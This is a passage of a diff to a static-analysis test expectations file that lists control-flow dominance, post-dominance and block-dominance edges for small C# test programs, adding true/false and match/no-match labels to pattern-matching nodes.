Int32 i1 | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:43 | ...; | | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:33:10:36 | "int " | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:13:10:42 | call to method WriteLine | @@ -3068,9 +3069,10 @@ dominance | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:31:10:41 | $"..." | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:18 | access to local variable o | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:23:12:31 | String s1 | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:13:9:15:9 | {...} | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | -| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | ... is ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:13:9:15:9 | {...} | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:46 | ...; | | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:33:14:39 | "string " | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:13:14:45 | call to method WriteLine | @@ -3078,8 +3080,9 @@ dominance | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:31:14:44 | $"..." | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:18 | access to local variable o | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:23:16:28 | Object v1 | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:17:9:18:9 | {...} | -| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | ... is ... | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:20:17:20:17 | access to local variable o | | Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:22:13:22:23 | case ...: | | Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:22:18:22:22 | "xyz" | @@ -3130,11 +3133,13 @@ dominance | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:9 | access to parameter c | | Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | exit M3 | | Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:18:51:21 | null | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 (normal) | -| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:9:51:21 | ... is ... | -| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | not ... | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:9:51:21 | [true] ... is ... | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | [match] not ... | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | [no-match] not ... | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:30:51:30 | 1 | | Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:30 | ... is ... | | Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:39:51:39 | 2 | @@ -3154,9 +3159,10 @@ dominance | Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | exit M5 (normal) | | Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:60:17:60:17 | 1 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:9:62:10 | return ...; | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:22:60:28 | "not 1" | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:61:13:61:13 | _ | -| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | not ... | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:24 | ... => ... | @@ -3166,8 +3172,8 @@ dominance | Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | exit M6 (normal) | | Patterns.cs:67:16:67:16 | 2 | Patterns.cs:69:17:69:17 | 2 | | Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:9:71:10 | return ...; | -| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:70:13:70:13 | 2 | -| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | not ... | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | @@ -3182,18 +3188,20 @@ dominance | PostDominance.cs:11:5:15:5 | {...} | PostDominance.cs:12:9:13:19 | if (...) ... | | PostDominance.cs:12:9:13:19 | if (...) ... | PostDominance.cs:12:13:12:13 | access to parameter s | | PostDominance.cs:12:13:12:13 | access to parameter s | PostDominance.cs:12:18:12:21 | null | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:13:13:13:19 | return ...; | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:14:9:14:29 | ...; | -| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | ... is ... | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | [false] ... is ... | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | [true] ... is ... | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:27:14:27 | access to parameter s | | PostDominance.cs:14:27:14:27 | access to parameter s | PostDominance.cs:14:9:14:28 | call to method WriteLine | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:18:5:22:5 | {...} | | PostDominance.cs:18:5:22:5 | {...} | PostDominance.cs:19:9:20:55 | if (...) ... | | PostDominance.cs:19:9:20:55 | if (...) ... | PostDominance.cs:19:13:19:13 | access to parameter s | | PostDominance.cs:19:13:19:13 | access to parameter s | PostDominance.cs:19:18:19:21 | null | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:21:9:21:29 | ...; | -| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | ... is ... | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | [false] ... is ... | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | [true] ... is ... | | PostDominance.cs:20:13:20:55 | throw ...; | PostDominance.cs:17:10:17:11 | exit M3 (abnormal) | | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | PostDominance.cs:20:13:20:55 | throw ...; | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | @@ -3517,9 +3525,9 @@ dominance | TypeAccesses.cs:6:13:6:23 | ... as ... | TypeAccesses.cs:6:9:6:23 | ... = ... | | TypeAccesses.cs:7:9:7:25 | if (...) ... | TypeAccesses.cs:7:13:7:13 | access to parameter o | | TypeAccesses.cs:7:13:7:13 | access to parameter o | TypeAccesses.cs:7:18:7:22 | Int32 j | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:25:7:25 | ; | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:8:9:8:28 | ... ...; | -| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | ... is ... | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:25:7:25 | ; | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:8:17:8:27 | typeof(...) | | TypeAccesses.cs:8:13:8:27 | Type t = ... | TypeAccesses.cs:3:10:3:10 | exit M (normal) | | TypeAccesses.cs:8:17:8:27 | typeof(...) | TypeAccesses.cs:8:13:8:27 | Type t = ... | @@ -7050,27 +7058,29 @@ postDominance | Patterns.cs:7:20:7:23 | null | Patterns.cs:7:9:7:24 | ... ...; | | Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:7:16:7:23 | Object o = ... | | Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:8:9:18:9 | if (...) ... | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:8:18:8:23 | Int32 i1 | | Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:13 | access to local variable o | +| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:10:31:10:41 | $"..." | | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:38:10:39 | access to local variable i1 | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:10:13:10:43 | ...; | | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:33:10:36 | "int " | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:8:13:8:23 | [false] ... is ... | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:14:18:9 | if (...) ... | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:12:23:12:31 | String s1 | | Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:18 | access to local variable o | +| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:14:31:14:44 | $"..." | | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:41:14:42 | access to local variable s1 | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:13:14:46 | ...; | | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:33:14:39 | "string " | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [false] ... is ... | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:14:18:9 | if (...) ... | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:16:23:16:28 | Object v1 | | Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:18 | access to local variable o | +| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | ... is ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | [false] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:20:9:38:9 | switch (...) {...} | | Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:20:17:20:17 | access to local variable o | @@ -7116,13 +7126,15 @@ postDominance | Patterns.cs:50:24:50:25 | exit M3 | Patterns.cs:50:24:50:25 | exit M3 (normal) | | Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:51:9:51:39 | ... ? ... : ... | | Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:50:24:50:25 | enter M3 | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:14:51:21 | not ... | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:14:51:21 | [no-match] not ... | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:14:51:21 | [match] not ... | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:25:51:30 | ... is ... | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:34:51:39 | ... is ... | -| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:18:51:21 | null | | Patterns.cs:51:18:51:21 | null | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:9:51:21 | [true] ... is ... | | Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:30:51:30 | 1 | | Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:9:51:21 | [false] ... is ... | | Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:51:39:51:39 | 2 | | Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:34:51:34 | access to parameter c | | Patterns.cs:53:24:53:25 | exit M4 | Patterns.cs:53:24:53:25 | exit M4 (normal) | @@ -7141,9 +7153,10 @@ postDominance | Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:57:5:63:5 | {...} | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:13:60:28 | ... => ... | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:13:61:24 | ... => ... | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:17:60:17 | 1 | | Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:60:22:60:28 | "not 1" | | Patterns.cs:60:17:60:17 | 1 | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:13 | _ | | Patterns.cs:65:26:65:27 | exit M6 | Patterns.cs:65:26:65:27 | exit M6 (normal) | @@ -7152,9 +7165,9 @@ postDominance | Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:67:16:71:9 | ... switch { ... } | | Patterns.cs:67:16:67:16 | 2 | Patterns.cs:66:5:72:5 | {...} | | Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:70:13:70:27 | ... => ... | -| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:69:17:69:17 | 2 | | Patterns.cs:69:17:69:17 | 2 | Patterns.cs:67:16:67:16 | 2 | -| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:69:13:69:17 | not ... | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | exit M1 (normal) | @@ -7169,21 +7182,22 @@ postDominance | PostDominance.cs:11:5:15:5 | {...} | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:12:9:13:19 | if (...) ... | PostDominance.cs:11:5:15:5 | {...} | | PostDominance.cs:12:13:12:13 | access to parameter s | PostDominance.cs:12:9:13:19 | if (...) ... | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:12:18:12:21 | null | | PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:13 | access to parameter s | +| PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:12:13:12:21 | [true] ... is ... | | PostDominance.cs:14:9:14:28 | call to method WriteLine | PostDominance.cs:14:27:14:27 | access to parameter s | +| PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:12:13:12:21 | [false] ... is ... | | PostDominance.cs:14:27:14:27 | access to parameter s | PostDominance.cs:14:9:14:29 | ...; | | PostDominance.cs:17:10:17:11 | exit M3 (abnormal) | PostDominance.cs:20:13:20:55 | throw ...; | | PostDominance.cs:17:10:17:11 | exit M3 (normal) | PostDominance.cs:21:9:21:28 | call to method WriteLine | | PostDominance.cs:18:5:22:5 | {...} | PostDominance.cs:17:10:17:11 | enter M3 | | PostDominance.cs:19:9:20:55 | if (...) ... | PostDominance.cs:18:5:22:5 | {...} | | PostDominance.cs:19:13:19:13 | access to parameter s | PostDominance.cs:19:9:20:55 | if (...) ... | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:19:18:19:21 | null | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:19:18:19:21 | null | | PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:13 | access to parameter s | | PostDominance.cs:20:13:20:55 | throw ...; | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | PostDominance.cs:20:45:20:53 | nameof(...) | | PostDominance.cs:21:9:21:28 | call to method WriteLine | PostDominance.cs:21:27:21:27 | access to parameter s | -| PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:19:13:19:21 | ... is ... | +| PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:19:13:19:21 | [false] ... is ... | | PostDominance.cs:21:27:21:27 | access to parameter s | PostDominance.cs:21:9:21:29 | ...; | | Qualifiers.cs:7:16:7:21 | exit Method | Qualifiers.cs:7:16:7:21 | exit Method (normal) | | Qualifiers.cs:7:16:7:21 | exit Method (normal) | Qualifiers.cs:7:28:7:31 | null | @@ -7486,9 +7500,9 @@ postDominance | TypeAccesses.cs:6:13:6:23 | ... as ... | TypeAccesses.cs:6:13:6:13 | access to parameter o | | TypeAccesses.cs:7:9:7:25 | if (...) ... | TypeAccesses.cs:6:9:6:23 | ... = ... | | TypeAccesses.cs:7:13:7:13 | access to parameter o | TypeAccesses.cs:7:9:7:25 | if (...) ... | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:18:7:22 | Int32 j | | TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:13 | access to parameter o | -| TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:13:7:22 | ... is ... | +| TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | +| TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:8:13:8:27 | Type t = ... | TypeAccesses.cs:8:17:8:27 | typeof(...) | | TypeAccesses.cs:8:17:8:27 | typeof(...) | TypeAccesses.cs:8:9:8:28 | ... ...; | @@ -11511,10 +11525,16 @@ blockDominance | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | enter M1 | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:20:9:38:9 | switch (...) {...} | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:23:17:23:22 | break; | @@ -11529,14 +11549,41 @@ blockDominance | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:35:13:35:20 | default: | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:40:9:42:9 | switch (...) {...} | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:13:9:15:9 | {...} | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:8:13:8:23 | [true] ... is ... | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:20:9:38:9 | switch (...) {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | @@ -11587,42 +11634,79 @@ blockDominance | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:9:42:9 | switch (...) {...} | | Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | enter M2 | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | [true] ... is ... | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:14:51:21 | [match] not ... | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:14:51:21 | [no-match] not ... | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:25:51:25 | access to parameter c | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:9:51:21 | [true] ... is ... | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:9:51:21 | [true] ... is ... | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:14:51:21 | [match] not ... | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:14:51:21 | [no-match] not ... | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:34:51:34 | access to parameter c | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | | Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | | Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | enter M4 | | Patterns.cs:56:26:56:27 | enter M5 | 